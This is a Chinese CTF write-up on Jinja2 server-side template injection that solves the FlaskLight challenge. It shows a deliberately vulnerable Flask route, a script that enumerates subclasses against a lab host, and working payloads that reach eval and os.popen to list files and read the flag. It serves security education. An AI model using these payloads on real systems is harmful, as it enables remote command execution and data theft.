一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
目錄
SSTI
無(wú)二次渲染的示例
存在二次渲染的示例
漏洞復(fù)現(xiàn)
[CSCCTF 2019 Qual]FlaskLight
做這道題的時(shí)候,再次深入了解了一下SSTI,不過(guò)發(fā)現(xiàn)去講解這題原理的文章實(shí)在是太少了,額也有可能是大佬覺(jué)得沒(méi)有必要講,不過(guò)在這里還是記錄一下自己的一些解題思路,一方面也是防止自己忘記。文章會(huì)以簡(jiǎn)單容易理解的方式去理解SSTI的成因,不會(huì)設(shè)計(jì)一些復(fù)雜的問(wèn)題但是還是需要擁有一些python的基礎(chǔ)知識(shí)的,如有錯(cuò)誤,歡迎指正
SSTI
服務(wù)器端模板注入(Server-Side Template Injection)
漏洞的主要產(chǎn)生點(diǎn)就是網(wǎng)頁(yè)模板中的變量被二次渲染時(shí)造成的漏洞,服務(wù)端接收了用戶(hù)的惡意輸入后,在進(jìn)行目標(biāo)編譯渲染的過(guò)程中,執(zhí)行了用戶(hù)插入的可以破壞模板的語(yǔ)句,如信息泄露,命令執(zhí)行,獲取權(quán)限等等
JinJia模板引擎特點(diǎn)
-
{{ ... }}:裝載一個(gè)變量,模板渲染時(shí),會(huì)使用傳進(jìn)來(lái)的通命名參數(shù)將代表的值替換
-
{% ... %}:裝載一個(gè)控制語(yǔ)句
-
{# ... #}:裝載一個(gè)注釋,模板渲染的時(shí)候會(huì)忽視這個(gè)值
無(wú)二次渲染的示例:
# 無(wú)二次渲染 from flask import *app = Flask(__name__)@app.route('/') def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>{{str}}</p>'return render_template_string(html, str=str)if __name__ == '__main__':app.run()以上代碼中見(jiàn)到的@app.route(’/’),相當(dāng)于一個(gè)路徑,設(shè)置后,在url后面加上/user就可以訪問(wèn)了,
每一個(gè)route后面都必須由一個(gè)def函數(shù)存在
在pycharm中右擊運(yùn)行
右擊運(yùn)行,以get方式傳入?yún)?shù)s,s的值為{{2*2}}
訪問(wèn)pycharm開(kāi)啟的URL,如下圖,{{2*2}}被打印,代碼沒(méi)有被執(zhí)行
存在二次渲染的示例:
# 有二次渲染 from flask import *app = Flask(__name__) @app.route('/') def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>%s</p>'%(str)return render_template_string(html)if __name__ == '__main__':app.run()右擊運(yùn)行,用get方式傳入s的值,{{2*2}}代碼被執(zhí)行,2如下圖,乘以2的結(jié)果為4
例如:{{}}在Jinja2中作為變量包裹標(biāo)識(shí)符,在渲染的時(shí)候會(huì)把{{}}包裹的內(nèi)容當(dāng)做變量解析替換,
比如{{2*2}}會(huì)被解析成4
如果在某個(gè)頁(yè)面中找到了如上所示的SSTI漏洞,那么我們可以利用這個(gè)注入點(diǎn),通過(guò)s傳參,執(zhí)行
模板引擎的控制語(yǔ)句以及命令
基本思路:利用python中的魔術(shù)方法找到所需的函數(shù)
當(dāng)然凡是使用模板的地方都可能會(huì)出現(xiàn)SSTI 的問(wèn)題,SSTI 不屬于任何一種語(yǔ)言
漏洞復(fù)現(xiàn)
''.__class__''的類(lèi)型是str類(lèi)型,調(diào)用__class__,指向變量所屬的類(lèi),格式為"變量.__class__"
''.__class__.__mro__由于''為str類(lèi)型,通過(guò)str尋找當(dāng)前類(lèi)對(duì)象的所有繼承類(lèi),當(dāng)然__mro__不是唯一的方法,如__base__同樣也可以尋找,但是只能找上一層的父類(lèi),如果被找的類(lèi)型不止一個(gè)父類(lèi)的話(huà),就得通過(guò)很多個(gè)base去找?
''.__class__.__mro__[1].__subclasses__()?__class__.__mro__以元組形式返還了兩個(gè)關(guān)系,<class 'str'>和<class 'object'>,我們通過(guò)索引獲取后面的object,再通過(guò)__subclasses__找到object對(duì)象下的所有子類(lèi),當(dāng)然同樣可以通過(guò)__class__.__base__.__subclasses__()尋找
這里我利用的是os模塊,也就是subclasses()的第133個(gè)索引位,如下圖
''.__class__.__mro__[1].__subclasses__()[133]通過(guò)索引獲取<class 'os._wrap_close'>
''.__class__.__mro__[1].__subclasses__()[133].__init__通過(guò)__init__初始化類(lèi),查看是否有重載,出現(xiàn)wrapper說(shuō)明已經(jīng)被重載了?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__通過(guò)__globals__尋找所有的方法及變量及參數(shù)?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']以上找出了很多的全局變量,以字典的形式輸出,這里用'__builtion__'做演示?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']以上全局變量包含eval,利用eval再通過(guò)popen執(zhí)行命令,如果使用system之類(lèi)的函數(shù),可能照成不會(huì)回顯,所以用popen是首選?
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")命令執(zhí)行ipconfig
簡(jiǎn)單來(lái)說(shuō),和SQL注入很像,循環(huán)漸進(jìn),找到庫(kù)名,找表名,找到表名找字段等等,SSTI先找到父類(lèi),然后找父類(lèi)下的子類(lèi),初始化后看看是否重載,再通過(guò)全局變量找到特定函數(shù)進(jìn)行執(zhí)行命令?
[CSCCTF 2019 Qual]FlaskLight
這道題的漏洞點(diǎn)非常明顯,一個(gè)是通過(guò)題目其實(shí)可以猜到這是一道SSTI的題型了,源碼也給出了
提示,通過(guò)get類(lèi)型,以search傳值
既然目標(biāo)明確了,那么首先調(diào)用class
/?search={{''.__class__}}通過(guò)str尋找當(dāng)前類(lèi)對(duì)象的所有繼承類(lèi)
/?search={{''.__class__.__mro__}}以元組形式返還了三個(gè)關(guān)系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通過(guò)索引獲取后
面的object,再通過(guò)subclasses找到object對(duì)象下的所有子類(lèi) ?
/?search={{''.__class__.__mro__[2].__subclasses__()}}那么問(wèn)題來(lái)了,眼前有這么多的子類(lèi),如何知道哪一個(gè)可以被我們利用并且成功命令執(zhí)行呢,在第
一個(gè)例子里,我們通過(guò)globals全局變量獲取了builtins,利用eval成功命令執(zhí)行,那么是否可以編寫(xiě)
一個(gè)腳本批量尋找builtins,利用返回的狀態(tài)碼判斷哪個(gè)子類(lèi)可以被我們使用 ?
import requestsurl = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81' for i in range(1, 100):payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"newurl = url + payloadres = requests.get(url=newurl + payload)if 'builtins' in res.text:print(newurl)else:pass執(zhí)行結(jié)果如下:
那么,payload就顯而易見(jiàn)了,利用builtins的eval執(zhí)行任意命令
/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}查看flag,一開(kāi)始我還以為flag在app.py文件里,以為flag形式改了,真的無(wú)語(yǔ)
/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}總結(jié)
以上是生活随笔為你收集整理的一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: liferay调度器-定时任务
- 下一篇: RosettaStone在win10运行